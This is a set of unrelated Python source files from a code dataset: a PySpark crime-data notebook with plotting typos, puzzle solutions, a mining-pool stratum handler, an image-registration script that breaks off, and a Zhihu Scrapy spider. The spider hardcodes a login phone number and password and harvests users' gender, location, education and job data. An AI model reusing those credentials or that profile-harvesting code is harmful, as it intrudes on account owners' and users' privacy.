In[137]:\n\n\nimport pyspark.sql.functions as func\n\n\n# In[149]:\n\n\nupdateddf = monthlyGroupeddf.withColumn('percent',func.round((monthlyGroupeddf.total/totalcovictions)*100,2))\nupdateddf.printSchema()\nupdateddf.show()\n\n\n# In[150]:\n\n\n#other aggregations\n## convictions based on category in london\ndf.show()\n\n\n# In[156]:\n\n\ndf.groupBy('major_category').agg({'value':'sum'}).withColumnRenamed('sum(value)','totalValue').orderBy('totalValue').show()\n\n\n# In[159]:\n\n\n#use of min and max aggregations\ndf_year = df.select('year')\ndf_year.agg({'year':'min'}).show()\ndf_year.agg({'year':'max'}).show()\n\n\n# In[161]:\n\n\ndf_year.describe().show()\n\n\n# In[163]:\n\n\ndf.crosstab('borough','major_category').show()\n\n\n# In[164]:\n\n\ndf.crosstab('borough','major_category').select('borough_major_category','Burglary','Fraud or Forgery','Robbery').show()\n\n\n# In[166]:\n\n\nimport matplotlib.pyplot as plt\nplt.style.use('ggplot')\n\n\n# In[179]:\n\n\ndef describe_year(year):\n    filtereddf = df.filter(df['year'] == year).agg({'value':'sum'}).withColumnRenamed('sum(value)','convictions')\n    burough_list = [x[0] for x in filtereddf.toLocalIterator()]\n    conviction_list = [x[1] for x in filtereddf.toLocalIterator() ]\n   \n    plt.title('Crime for the year:'+year,frontsize=30)\n    plt.xlable('Boroughs',fontsize=30)\n    plt.ylable('Convictions',fontsize=30)\n\n    plt.xtics(rotation=90,frontsize=30)\n    plt.ytics(frontsize=30)\n    plt.autoscale()\n    \n    plt.figure(figsize=(33,10))\n    plt.bar(burough_list,conviction_list)\n    plt.xtic\n    plt.show()\n    \n     \n    \n\n\n# In[197]:\n\n\ndef describe_year(year):\n    filtereddf = df.filter(df['year'] == year).groupBy('borough').agg({'value':'sum'}).withColumnRenamed('sum(value)','convictions')\n    burough_list = [x[0] for x in filtereddf.toLocalIterator()]\n    conviction_list = [x[1] for x in filtereddf.toLocalIterator() ]\n    \n    plt.title('Crime for the year:'+year,frontsize=30)\n    plt.xlable('Boroughs',fontsize=30)\n    plt.ylable('Convictions',fontsize=30)\n\n    plt.xtics(rotation=90,fontsize=30)\n    plt.ytics(frontsize=30)\n    plt.autoscale()\n    \n    plt.figure(figsize=(33,10))\n    plt.bar(burough_list,conviction_list)\n    plt.xtic\n    plt.show()\n   \n   \n\n\n# In[199]:\n\n\ndescribe_year('2014')\n\n","repo_name":"jayshreechaudhary52/spark","sub_path":"spark2.1_London_crime_analysis.py","file_name":"spark2.1_London_crime_analysis.py","file_ext":"py","file_size_in_byte":4346,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"41885860888","text":"from collections import Counter\r\n\r\ndef read_fish():\r\n    file_name = \"Data/day6.txt\"\r\n    file = open(file_name, \"r\")\r\n    \r\n    for line in file:\r\n        return list(map(int, line.split(\",\")))\r\n    \r\ndef simulate_fish(fish, days):\r\n    fish = Counter(fish)\r\n    \r\n    for t in range(days):\r\n        new_fish = {}\r\n        for i in range(1,9):\r\n            new_fish[i-1] = fish.get(i, 0)\r\n            \r\n        new_fish[6] = new_fish.get(6, 0) + fish.get(0, 0)\r\n        new_fish[8] = new_fish.get(8, 0) + fish.get(0, 0)\r\n        fish = new_fish\r\n            \r\n    return sum(fish.values())\r\n        \r\nif __name__ == \"__main__\":\r\n    fish = read_fish()\r\n    print(f\"Part one: {simulate_fish(fish, 80)}\")\r\n    print(f\"Part two: {simulate_fish(fish, 256)}\")\r\n    ","repo_name":"HarrisonGreen/Advent-of-Code-2021","sub_path":"Scripts/day6.py","file_name":"day6.py","file_ext":"py","file_size_in_byte":761,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"35768515934","text":"# -*- coding: utf-8 -*-\nimport requests\nimport json, re\n# from urllib.parse import quote\nfrom zhihuPro.items import *\nfrom scrapy_splash import SplashRequest\n\n# from scrapy_splash import SplashResponse\n\nscript = \"\"\"\nfunction main(splash, args)\n  splash:go(\"https://www.zhihu.com\")\n  btn = splash:select(\".SignContainer-switch span\")\n  btn:mouse_click()\n  splash:wait(3)\n  input = splash:select(\".SignFlow-accountInput input\")\n  input:send_text(\"18235056870\")\n  splash:wait(1)\n  pwd = splash:select(\".SignFlow-password input\")\n  pwd:send_text(\"lwy123456\")\n  splash:wait(1)\n  loginBtn = splash:select(\".SignFlow-submitButton\")\n  loginBtn:mouse_click()\n  splash:wait(3)\n  return splash:get_cookies()\nend\n\"\"\"\n\n\nclass ZhihuSpider(scrapy.Spider):\n    name = 'zhihu'\n    allowed_domains = ['zhihu.com']\n    base_url = 'https://www.zhihu.com/'\n    cookie = None\n    myheaders = {\n        'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36'\n    }\n\n    # dzb632816\n    def start_requests(self):\n        try:\n            with open('cookie.json', 'r') as f:\n                self.cookie = json.loads(f.read())\n            yield scrapy.Request(\n                url=self.base_url,\n                callback=self.parse_page, cookies=self.cookie)\n        except:\n            yield SplashRequest(url=self.base_url, callback=self.parse_login, endpoint='execute', args={\n                'lua_source': script,\n            })\n\n    def parse_login(self, response):\n        py_list = json.loads(response.text)\n        # print(type(py_list))\n        cookie = {i['name']: i['value'] for i in py_list}\n        with open('cookie.json', 'w') as file:\n            json.dump(cookie, file, ensure_ascii=False, indent=4)\n        yield scrapy.Request(url=self.base_url, callback=self.parse_page, cookies=cookie)\n\n    def parse_page(self, response):\n        # 18235056870   lwy123456\n        # api_url = 'https://www.zhihu.com/api/v3/feed/topstory/recommend?session_token=94b179cd0fb867a3729b0af574a1a77d&desktop=true&limit=7&action=down&after_id=0'\n        # https://www.zhihu.com/api/v3/feed/topstory/recommend?session_token=94b179cd0fb867a3729b0af574a1a77d&desktop=true&limit=7&action=down&after_id=13\n        session_token = response.xpath('.').re_first('.*?session_token=(.*?)&')\n        api_url = 'https://www.zhihu.com/api/v3/feed/topstory/recommend?session_token={}&desktop=true&limit=7&action=down&after_id=0'.format(session_token)\n        yield scrapy.Request(url=api_url, callback=self.parse_json, cookies=self.cookie)\n\n    def parse_json(self, response):\n        datas = json.loads(response.text)\n        for i in datas['data']:\n            question_item = ZhihuproItem()\n            # with open('bug.json', 'w') as file:\n            #     json.dump(i['target'], file, ensure_ascii=False, indent=4)\n            if 'question' in i['target'].keys():\n                # 问题作者ｉｄ\n                question_item['author_id_id'] = i['target']['author']['id']\n                if question_item['author_id_id'] != '0':\n                    author_url = 'https://api.zhihu.com/people/' + question_item['author_id_id']\n                    #因外键关系　使用requests\n                    resp = requests.get(author_url,headers=self.myheaders,cookies=self.cookie)\n                    # print(resp.text)\n                    yield self.parse_author(resp.text)\n                # 问题ｉｄ\n                question_item['id'] = i['target']['question']['id']\n                # title\n                question_item['title'] = i['target']['question']['title']\n                # 问题创建时间\n                question_item['pub_time'] = i['target']['question']['created']\n                # 问题的回答数量\n                question_item['answer_count'] = i['target']['question']['answer_count']\n                # 关注的数量\n                question_item['follower_count'] = i['target']['question']['follower_count']\n                # 问题的描述\n                question_item['intro'] = i['target']['question']['excerpt']\n\n                yield question_item\n\n                # 问题标签\n                # https: // www.zhihu.com / question / 296894584\n                tags_url = 'https://www.zhihu.com/question/' + str(question_item['id'])\n                yield scrapy.Request(url=tags_url, callback=self.parse_tag, meta={'que_id': question_item['id']})\n                # 回答\n                answer_url = 'https://www.zhihu.com/api/v4/questions/' + str(question_item[\n                                                                                 'id']) + '/answers?include=data%5B%2A%5D.is_normal%2Cadmin_closed_comment%2Creward_info%2Cis_collapsed%2Cannotation_action%2Cannotation_detail%2Ccollapse_reason%2Cis_sticky%2Ccollapsed_by%2Csuggest_edit%2Ccomment_count%2Ccan_comment%2Ccontent%2Ceditable_content%2Cvoteup_count%2Creshipment_settings%2Ccomment_permission%2Ccreated_time%2Cupdated_time%2Creview_info%2Crelevant_info%2Cquestion%2Cexcerpt%2Crelationship.is_authorized%2Cis_author%2Cvoting%2Cis_thanked%2Cis_nothelp%2Cis_labeled%3Bdata%5B%2A%5D.mark_infos%5B%2A%5D.url%3Bdata%5B%2A%5D.author.follower_count%2Cbadge%5B%2A%5D.topics&limit=20&offset=0&sort_by=default'\n                yield scrapy.Request(url=answer_url, callback=self.parse_answer)\n                # 获取问题作者信息\n\n                # break\n                # print(que_author_id,id,title,pub_time,answer_count,follower_count,intor,tags)\n        # 下一页\n        # yield scrapy.Request(url=datas['paging']['next'],callback=self.parse_json)\n\n    def parse_answer(self, response):\n        answer = json.loads(response.text)\n        for a in answer['data']:\n            answer_item = ZhihuAnswerItem()\n            # 回答ｉｄ\n            answer_item['id'] = a['id']\n            # 问题ｉｄ\n            answer_item['qid_id'] = a['question']['id']\n            # 作者ｉｄ\n            answer_item['ahthor_id_id'] = a['author']['id']\n            if answer_item['ahthor_id_id'] != \"0\":\n                # 作者ｕｒｌ  获取作者信息\n                author_url = 'https://api.zhihu.com/people/' + answer_item['ahthor_id_id']\n                print(author_url)\n                resp = requests.get(author_url,headers=self.myheaders, cookies=self.cookie)\n                yield self.parse_author(resp.text)\n            # 内容\n            answer_item['content'] = a['content']\n            # print('--------------------------',answer_item['content'])\n            # 发布时间\n            answer_item['pub_time'] = a['created_time']\n            # 更新时间\n            answer_item['update_time'] = a['updated_time']\n            # 赞同数量\n            answer_item['endorse'] = a['voteup_count']\n            # 评论数量\n            answer_item['comment_num'] = a['comment_count']\n\n            yield answer_item\n            # 评论\n            comment_url = 'https://www.zhihu.com/api/v4/answers/{}/root_comments?include=data%5B*%5D.author%2Ccollapsed%2Creply_to_author%2Cdisliked%2Ccontent%2Cvoting%2Cvote_count%2Cis_parent_author%2Cis_author&order=normal&limit=30&offset=0&status=open'.format(\n                answer_item['id'])\n            print(comment_url)\n            yield scrapy.Request(url=comment_url, callback=self.parse_comment,meta={'ans_id':answer_item['id']})\n\n\n            # break\n        #下一页\n        # yield scrapy.Request(url=answer['paging']['next'],callback=self.parse_json)\n    def parse_comment(self, response):\n        comment_list = json.loads(response.text)['data']\n        # print(comment_list)\n        uid = response.meta['ans_id']\n        for comment in comment_list:\n            comment_item = ZhihuCommentItem()\n            comment_item['id'] = comment['id']\n            #回答ｉｄ\n            comment_item['aid_id'] = uid\n            comment_item['author_id_id'] = comment['author']['member']['id']\n            if comment_item['author_id_id'] != \"0\":\n                # 作者ｕｒｌ  获取作者信息\n                author_url = 'https://api.zhihu.com/people/' + comment_item['author_id_id']\n                resp = requests.get(author_url,headers=self.myheaders, cookies=self.cookie)\n                yield self.parse_author(resp.text)\n            # print(info)\n            comment_item['author_name'] = comment['author']['member']['name']\n            #创建时间\n            comment_item['pub_time'] = comment['created_time']\n            comment_item['content'] = comment['content']\n            comment_item['like_num'] = comment['vote_count']\n            #子评论\n            comment_item['child_comment_count'] = comment['child_comment_count']\n            #只取　子评论的　作者名和内容\n            comment_item['child_comments'] = str({s['author']['member']['name']:s['content'] for s in comment['child_comments']})\n            # print(comment_item)\n            yield comment_item\n\n\n    def parse_author(self, res):\n        author = json.loads(res)\n        print(author)\n        if 'error' in author.keys():\n            print('该用户不存在')\n            return False\n        author_item = ZhihuAuthorItem()\n        author_item['id'] = author['id']\n        author_item['name'] = author['name']\n        #性别\n        author_item['gender'] = author['gender']\n        # 居住地\n        if 'location' in author.keys():\n            author_item['address'] = author['location'][0]['name']\n            author_item['add_desc'] = author['location'][0]['introduction']\n        else:\n            # 居住地\n            author_item['address'] = '无'\n            author_item['add_desc'] = '无'\n\n        author_item['headline'] = author['headline']\n        #简介\n        author_item['intro'] = author['description']\n        #学历\n        if 'education' in author.keys():\n            author_item['school'] = author['education'][0]['name']\n\n        else:\n            author_item['school'] = '无'\n\n        #职业\n        author_item['jobname'] = author['business']['name']\n        #回答的问题数量\n        author_item['answer_count'] = author['answer_count']\n        #提出问题的数量\n        author_item['question_count'] = author['question_count']\n        #被关注的数量\n        author_item['follower_count'] = author['follower_count']\n        # print(author_item)\n        return author_item\n\n    def parse_tag(self, response):\n        re_obj = re.compile('\"topics\":(\\[.*?\\]),', re.S)\n        tags = re.findall(re_obj, response.text)\n        tag_list = json.loads(tags[0])\n        # print('===============================', tag_list)\n        # 多对多\n        qid = response.meta['que_id']\n        # 获取标签\n        for tag in tag_list:\n            tag_item = ZhihuTagsItem()\n            many_item = ZhihuManyItem()\n            tag_item['id'] = tag['id']\n            tag_item['name'] = tag['name']\n            tag_item['intro'] = tag['excerpt']\n            tag_item['tag_url'] = tag['url']\n            many_item['question_id'] = qid\n            many_item['tags_id'] = tag['id']\n            yield tag_item\n            yield many_item\n            # print(tag_item)\n            # yield tag_item\n","repo_name":"yuemeiss/database","sub_path":"june_爬虫/zhihuPro/zhihuPro/spiders/zhihu.py","file_name":"zhihu.py","file_ext":"py","file_size_in_byte":11145,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"19492920915","text":"\n\ndef collatz(number) -> object:\n    if number % 2 == 0:\n        print(number, \"// 2 = \", number // 2)\n        number = number // 2\n        return number\n    else:\n        print(\"3 *\", number, \"+ 1 = \",  3 * number + 1)\n        number = 3 * number + 1\n        return number\n\n\nprint('Enter an integer: ')\nuserNumber = input()\n\nwhile userNumber != 1:\n    userNumber = collatz(int(userNumber))\n","repo_name":"MarcusJMcGill/PyFiles","sub_path":"CollatzSequence.py","file_name":"CollatzSequence.py","file_ext":"py","file_size_in_byte":391,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"28804867205","text":"from bc4py_stratum_pool.config import Const, co_efficiency\nfrom bc4py_stratum_pool.client import *\nfrom bc4py_stratum_pool.job import *\nfrom bc4py_stratum_pool.ask import *\nfrom bc4py_stratum_pool.commands import *\nfrom bc4py_stratum_pool.account import *\nfrom bc4py_extension import address2bech\nfrom bc4py.config import V\nfrom aiohttp import client_exceptions\nfrom binascii import a2b_hex\nfrom os import urandom\nfrom time import time\nfrom logging import getLogger\n\n\"\"\"Methods (client to server)\n\"\"\"\n\nlog = getLogger(__name__)\n\n\nasync def mining_authorize(client: Client, params: list, uuid: int):\n    \"\"\"\n    mining.authorize(\"username\", \"password\")\n\n    The result from an authorize request is usually true (successful), or false.\n    The password may be omitted if the server does not require passwords.\n    \"\"\"\n    try:\n        username, password, *others = params\n        hrp, version, identifier = address2bech(username)\n        if not (hrp == V.BECH32_HRP and version == 0 and len(identifier) == 20):\n            log.debug(f\"wrong address format hrp:{hrp} ver:{version}\")\n            await response_success(client, False, uuid)\n            return\n        if username is None or password is None:\n            log.debug(\"authorization account incorrect\")\n            await response_failed(client, False, uuid)\n            return\n        client.username = username\n        client.password = password\n        # send job\n        job = get_best_job(client.algorithm)\n        if job is None:\n            job = await add_new_job(client.algorithm)\n        async with create_db(Const.DATABASE_PATH) as db:\n            cur = await db.cursor()\n            account_id = await read_address2account_id(cur=cur, address=username, create_if_missing=True)\n            await db.commit()\n            client.account_id = account_id\n        await mining_notify(job, f_clean=False)\n        log.debug(f\"authorize success by '{username}:{password}' id={account_id}\")\n        await response_success(client, True, uuid)\n    except (ConnectionError, client_exceptions.ClientError) as e:\n        log.debug(f\"authorize failed by '{str(e)}'\")\n        await response_success(client, False, uuid)\n    except ValueError as e:\n        log.debug(f\"address format error {str(e)}\")\n        await response_success(client, False, uuid)\n    except Exception:\n        log.debug(\"authorize failed\", exc_info=True)\n        await response_success(client, False, uuid)\n\n\nasync def mining_extranonce_subscribe(client: Client, params: list, uuid: int):\n    \"\"\"\n    mining.extranonce.subscribe()\n\n    Indicates to the server that the client supports the mining.set_extranonce method.\n    \"\"\"\n    # client.f_extranonce = True\n    await response_success(client, None, uuid)\n\n\nasync def mining_get_transactions(client: Client, params: list, uuid: int):\n    \"\"\"\n    mining.get_transactions(\"job id\")\n\n    Server should send back an array with a hexdump of each transaction in the block specified for the given job id.\n    \"\"\"\n    job_id, *others = params\n    job = get_job_by_id(job_id)\n    if job is None:\n        await response_failed(client, JOB_NOT_FOUND, uuid)\n    txs = [tx[0][::-1].hex() for tx in job.unconfirmed]\n    await response_success(client, txs, uuid)\n\n\nasync def mining_submit(client: Client, params: list, uuid: int):\n    \"\"\"\n    mining.submit(\"username\", \"job id\", \"ExtraNonce2\", \"nTime\", \"nonce\")\n\n    Miners submit shares using the method \"mining.submit\". Client submissions contain:\n        Worker Name.\n        Job ID.\n        ExtraNonce2.\n        nTime.\n        nonce.\n    Server response is result: true for accepted, false for rejected (or you may get an error with more details).\n    \"\"\"\n    try:\n        username, job_id, extranonce2, ntime, nonce, *others = params\n        job_id = int.from_bytes(a2b_hex(job_id), 'big')\n        extranonce2 = a2b_hex(extranonce2)\n        ntime = int.from_bytes(a2b_hex(ntime), 'big')\n        nonce = a2b_hex(nonce)[::-1]\n        job = get_job_by_id(job_id)\n        # check\n        if client.username is None:\n            await response_failed(client, UNAUTHORIZED_WORKER, uuid)\n            return\n        if client.extranonce_1 is None:\n            await response_failed(client, NOT_SUBSCRIBED, uuid)\n            return\n        if job is None:\n            await response_failed(client, JOB_NOT_FOUND, uuid)\n            return\n        if job.ntime != ntime:\n            log.warning(f\"submit different time, {job.ntime} != {ntime}\")\n            await response_failed(client, OTHER_UNKNOWN, uuid)\n            return\n        if client.algorithm not in co_efficiency:\n            log.warning(f\"not found algorithm in co_efficiency?\")\n            await response_failed(client, OTHER_UNKNOWN, uuid)\n            return\n        # try to generate submit data\n        fixed_difficulty = min(client.diff_list) / co_efficiency[client.algorithm]\n        submit_data, block, f_mined, f_shared = get_submit_data(\n            job, client.extranonce_1, extranonce2, nonce, fixed_difficulty)\n        if block.hash in job.submit_hashs:\n            await response_failed(client, DUPLICATE_SHARE, uuid)\n            return\n        # try to submit work\n        if f_mined or f_shared:\n            client.n_accept += 1\n            average_difficulty = sum(client.diff_list)/len(client.diff_list)\n            client.time_works.append((time(), average_difficulty))\n            job.submit_hashs.append(block.hash)\n            # submit block\n            if f_mined:\n                pwd = str(job.algorithm)\n                response = await ask_json_rpc('submitblock', [submit_data.hex()], 'user', pwd)\n                if response:\n                    f_mined = False\n                    log.warning(f\"failed mine by '{response}'\")\n                else:\n                    log.info(f\"mined yey!! {client.consensus_name} {job.height} diff={client.difficulty}\")\n            else:\n                log.debug(f\"shared work!! {client.consensus_name} {job.height} diff={client.difficulty}\")\n            await response_success(client, True, uuid)\n            # recode share\n            async with create_db(Const.DATABASE_PATH) as db:\n                cur = await db.cursor()\n                # how many ratio you generate hash (target/work)\n                share = average_difficulty / block.difficulty / co_efficiency[client.algorithm]\n                recode_hash = block.hash if f_mined else None\n                payout_id = 0 if Const.PAYOUT_METHOD == 'transaction' else -1\n                await insert_new_share(cur=cur, account_id=client.account_id, algorithm=client.algorithm,\n                                       blockhash=recode_hash, share=share, payout_id=payout_id)\n                await db.commit()\n        else:\n            client.n_reject += 1\n            await response_failed(client, LOW_DIFFICULTY_SHARE, uuid)\n    except Exception:\n        log.warning(\"unexpected error on mining_submit\", exc_info=True)\n        await response_failed(client, OTHER_UNKNOWN, uuid)\n\n\nasync def mining_subscribe(client: Client, params: list, uuid: int):\n    \"\"\"\n    mining.subscribe(option: \"version\", option: \"subscription_id\")\n\n    The optional second parameter specifies a mining.notify subscription id the client wishes to resume working with\n    (possibly due to a dropped connection).\n    If provided, a server MAY (at its option) issue the connection the same extranonce1.\n    Note that the extranonce1 may be the same (allowing a resumed connection) even if the subscription id is changed!\n\n    The client receives a result:\n        [[[\"mining.set_difficulty\", \"subscription id 1\"], [\"mining.notify\", \"subscription id 2\"]], \"extranonce1\", extranonce2_size]\n\n    The result contains three items:\n        Subscriptions. - An array of 2-item tuples, each with a subscription type and id.\n        ExtraNonce1. - Hex-encoded, per-connection unique string which will be used for creating generation transactions later.\n        ExtraNonce2_size. - The number of bytes that the miner users for its ExtraNonce2 counter.\n    \"\"\"\n    client.version = str(params[0]) if 0 < len(params) else 'unknown'\n    client.subscription_id = a2b_hex(params[1]) if 1 < len(params) else None\n    if client.subscription_id is None:\n        # setup new subscription info\n        async with create_db(Const.DATABASE_PATH) as db:\n            cur = await db.cursor()\n            client.extranonce_1 = urandom(4)\n            client.subscription_id = await insert_new_subscription(cur=cur, extranonce=client.extranonce_1)\n            await db.commit()\n    else:\n        # restore works from close_deque\n        for old_client in reversed(closed_deque):\n            if client.subscription_id != old_client.subscription_id:\n                continue\n            elif client.algorithm != old_client.algorithm:\n                continue\n            else:\n                client.time_works = old_client.time_works\n                client.difficulty = old_client.difficulty\n                client.submit_span = old_client.submit_span\n                client.extranonce_1 = old_client.extranonce_1\n                client.n_accept = old_client.n_accept\n                client.n_reject = old_client.n_reject\n                log.debug(\"resume from disconnected client data\")\n                closed_deque.remove(old_client)\n                break\n        else:\n            # recover subscription from database\n            async with create_db(Const.DATABASE_PATH) as db:\n                cur = await db.cursor()\n                extranonce_1 = await read_subscription_id2extranonce(\n                    cur=cur, subscription_id=client.subscription_id)\n                if extranonce_1 is None:\n                    # remove client info\n                    client.subscription_id = None\n                    raise ConnectionError('unknown subscription id')\n                else:\n                    client.extranonce_1 = extranonce_1\n                    log.debug(\"resume from database\")\n    # notify subscription info\n    extranonce_2_size = 4\n    result = [\n        [\n            [\"mining.set_difficulty\", client.subscription_id.hex()],\n            [\"mining.notify\", client.subscription_id.hex()],\n        ],\n        client.extranonce_1.hex(),\n        extranonce_2_size\n    ]\n    log.debug(f\"subscribe {client}\")\n    await response_success(client, result, uuid)\n\n\nasync def mining_suggest_difficulty(client: Client, params: list, uuid: int):\n    \"\"\"\n    mining.suggest_difficulty(preferred share difficulty Number)\n\n    Used to indicate a preference for share difficulty to the pool.\n    Servers are not required to honour this request, even if they support the stratum method.\n    \"\"\"\n    # difficulty, *others = params\n    # client.difficulty = difficulty\n\n\nasync def mining_suggest_target(client: Client, params: list, uuid: int):\n    \"\"\"\n    mining.suggest_target(\"full hex share target\")\n\n    Used to indicate a preference for share target to the pool, usually prior to mining.subscribe.\n    Servers are not required to honour this request, even if they support the stratum method.\n    \"\"\"\n    # target, *others = params\n    # target = a2b_hex(target)\n    # client.difficulty = round(DEFAULT_TARGET / float(int.from_bytes(target, 'little')), 8)\n\n\n__all__ = [\n    \"mining_authorize\",\n    \"mining_extranonce_subscribe\",\n    \"mining_get_transactions\",\n    \"mining_submit\",\n    \"mining_subscribe\",\n    \"mining_suggest_difficulty\",\n    \"mining_suggest_target\",\n]\n","repo_name":"namuyan/bc4py-stratum-pool","sub_path":"bc4py_stratum_pool/methods.py","file_name":"methods.py","file_ext":"py","file_size_in_byte":11398,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"23656613204","text":"\"\"\"\nThis script is the main launcher of the multi-modal non-linear image\nregistration\n\"\"\"\nfrom __future__ import print_function\nimport sys\nimport os\nimport numpy as np\nimport nibabel as nib\nfrom dipy.fixes import argparse as arg\nfrom experiments.registration.rcommon import getBaseFileName, decompose_path\nimport experiments.registration.evaluation as evaluation\nfrom nipy.algorithms.registration import HistogramRegistration, resample\nfrom nipy.io.files import nipy2nifti, nifti2nipy\n\nparser = arg.ArgumentParser(\n    description=\"Affine image registration.\"\n    )\n\nparser.add_argument(\n    'moving', action = 'store', metavar = 'moving',\n    help = '''Nifti1 image or other formats supported by Nibabel''')\n\nparser.add_argument(\n    'static', action = 'store', metavar = 'static',\n    help = '''Nifti1 image or other formats supported by Nibabel''')\n\nparser.add_argument(\n    'warp_dir', action = 'store', metavar = 'warp_dir',\n    help = '''Directory (relative to ./ ) containing the images to be warped\n           with the obtained deformation field''')\n\nparser.add_argument(\n    '-mm', '--moving_mask', action = 'store', metavar = 'moving_mask',\n    help = '''Nifti1 image or other formats supported by Nibabel''',\n    default=None)\n\nparser.add_argument(\n    '-sm', '--static_mask', action = 'store', metavar = 'static_mask',\n    help = '''Nifti1 image or other formats supported by Nibabel''',\n    default=None)\n\nparser.add_argument(\n    '-m', '--metric', action = 'store', metavar = 'metric',\n    help = '''Any of {MI[L]} specifying the metric to be used\n    MI= mutual information and the comma-separated (WITH NO SPACES) parameter\n    list L:\n    MI[nbins]\n        nbins: number of histogram bins\n    ''',\n    default = 'crl1')\n\nparser.add_argument(\n    '-t', '--transforms', action = 'store', metavar = 'transforms',\n    help = '''A comma-separated (WITH NO SPACES) list of transform names,\n    each being any of {TRANSLATION, ROTATION, RIGID, SCALING, AFFINE} specifying\n    the desired sequence of transformation types\n    ''',\n    default = 'affine')\n\nparser.add_argument(\n    '-i', '--iter', action = 'store', metavar = 'i_0,i_1,...,i_n',\n    help = '''A comma-separated (WITH NO SPACES) list of integers indicating the\n           maximum number of iterations at each level of the Gaussian Pyramid\n           (similar to ANTS), e.g. 10,100,100 (NO SPACES)''',\n    default = '25,100,100')\n\nparser.add_argument(\n    '-method', '--method', action = 'store',\n    metavar = 'method',\n    help = '''Optimization method''',\n    default = 'powell')\n\nparser.add_argument(\n    '-mask0', '--mask0', action = 'store_true',\n    help = '''Set to zero all voxels of the scale space that are zero in the\n           original image''')\n\n\ndef print_arguments(params):\n    r'''\n    Verify all arguments were correctly parsed and interpreted\n    '''\n    print('========================Parameters========================')\n    print('moving: ', params.moving)\n    print('static: ', params.static)\n    print('moving_mask: ', params.moving_mask)\n    print('static_mask: ', params.static_mask)\n    print('warp_dir: ', params.warp_dir)\n    print('metric: ', params.metric)\n    print('transforms: ', params.transforms)\n    print('iter:', params.iter)\n    print('method:', params.method)\n    print('mask0',params.mask0)\n\n\ndef compute_jaccard(aname, bname, keep_existing = True):\n    baseA=getBaseFileName(aname)\n    baseB=getBaseFileName(bname)\n    oname=\"jaccard_\"+baseA+\"_\"+baseB+\".txt\"\n    if keep_existing and os.path.exists(oname):\n        print('Jaccard overlap found. Skipped computation.')\n        jaccard=np.loadtxt(oname)\n        return jaccard\n    nib_A=nib.load(aname)\n    affineA=nib_A.get_affine()\n    A=nib_A.get_data().squeeze().astype(np.int32)\n    A=np.copy(A, order='C')\n    print(\"A range:\",A.min(), A.max())\n    nib_B=nib.load(bname)\n    #newB=nib.Nifti1Image(nib_B.get_data(),affineA)\n    #newB.to_filename(bname)\n    B=nib_B.get_data().squeeze().astype(np.int32)\n    B=np.copy(B, order='C')\n    print(\"B range:\",B.min(), B.max())\n    jaccard=np.array(evaluation.compute_jaccard(A,B))\n    print(\"Jaccard range:\",jaccard.min(), jaccard.max())\n    np.savetxt(oname,jaccard)\n    return jaccard\n\n\ndef compute_target_overlap(aname, bname, keep_existing = True):\n    baseA=getBaseFileName(aname)\n    baseB=getBaseFileName(bname)\n    oname=\"t_overlap_\"+baseA+\"_\"+baseB+\".txt\"\n    if keep_existing and os.path.exists(oname):\n        print('Target overlap overlap found. Skipped computation.')\n        socres=np.loadtxt(oname)\n        return socres\n    nib_A=nib.load(aname)\n    affineA=nib_A.get_affine()\n    A=nib_A.get_data().squeeze().astype(np.int32)\n    A=np.copy(A, order='C')\n    print(\"A range:\",A.min(), A.max())\n    nib_B=nib.load(bname)\n    #newB=nib.Nifti1Image(nib_B.get_data(),affineA)\n    #newB.to_filename(bname)\n    B=nib_B.get_data().squeeze().astype(np.int32)\n    B=np.copy(B, order='C')\n    print(\"B range:\",B.min(), B.max())\n    socres=np.array(evaluation.compute_target_overlap(A,B))\n    print(\"Target overlap range:\",socres.min(), socres.max())\n    np.savetxt(oname,socres)\n    return socres\n\n\ndef compute_scores(pairs_fname = 'jaccard_pairs.lst'):\n    with open(pairs_fname) as input:\n        names = [s.split() for s in input.readlines()]\n        for r in names:\n            moving_dir, moving_base, moving_ext = decompose_path(r[0])\n            static_dir, static_base, static_ext = decompose_path(r[1])\n            warped_name = \"warpedAff_\"+moving_base+\"_\"+static_base+\".nii.gz\"\n            compute_jaccard(r[2], warped_name, False)\n            compute_target_overlap(r[2], warped_name, False)\n\n\ndef save_registration_results(sol, params):\n    r'''\n    Warp the moving image using the obtained solution from Nipy registration\n    '''\n    warp_dir = params.warp_dir\n\n    base_static = getBaseFileName(params.static)\n    static_nib = nib.load(params.static)\n    static_nib = nib.Nifti1Image(static_nib.get_data().squeeze(), static_nib.get_affine())\n    static = nifti2nipy(static_nib)\n    static_affine = static_nib.get_affine()\n    static_shape = np.array(static.shape, dtype=np.int32)\n\n    base_moving = getBaseFileName(params.moving)\n    moving_nib = nib.load(params.moving)\n    moving_nib = nib.Nifti1Image(moving_nib.get_data().squeeze(), moving_nib.get_affine())\n    moving = nifti2nipy(moving_nib)\n    moving_affine = moving_nib.get_affine()\n    moving_shape = np.array(moving.shape, dtype=np.int32)\n\n    dim = len(static.shape)\n    static_affine = static_affine[:(dim + 1), :(dim + 1)]\n    moving_affine = moving_affine[:(dim + 1), :(dim + 1)]\n\n    warped = resample(moving, sol, reference=static, interp_order=1)\n    fmoved = 'warpedAff_'+base_moving+'_'+base_static+'.nii.gz'\n    nib.save(nipy2nifti(warped, strict=True), fmoved)\n    #---warp all volumes in the warp directory using NN interpolation\n    names = [os.path.join(warp_dir, name) for name in os.listdir(warp_dir)]\n    for name in names:\n        to_warp_nib = nib.load(name)\n        to_warp_nib = nib.Nifti1Image(to_warp_nib.get_data().squeeze(), to_warp_nib.get_affine())\n        to_warp_affine = to_warp_nib.get_affine()\n        img_affine = to_warp_affine[:(dim + 1), :(dim + 1)]\n\n        to_warp = nifti2nipy(to_warp_nib)\n        base_warp = getBaseFileName(name)\n        warped = resample(to_warp, sol, reference=static, interp_order=0)\n        fmoved = 'warpedAff_'+base_warp+'_'+base_static+'.nii.gz'\n        nib.save(nipy2nifti(warped, strict=True), fmoved)\n    #---now the jaccard indices\n    if os.path.exists('jaccard_pairs.lst'):\n        with 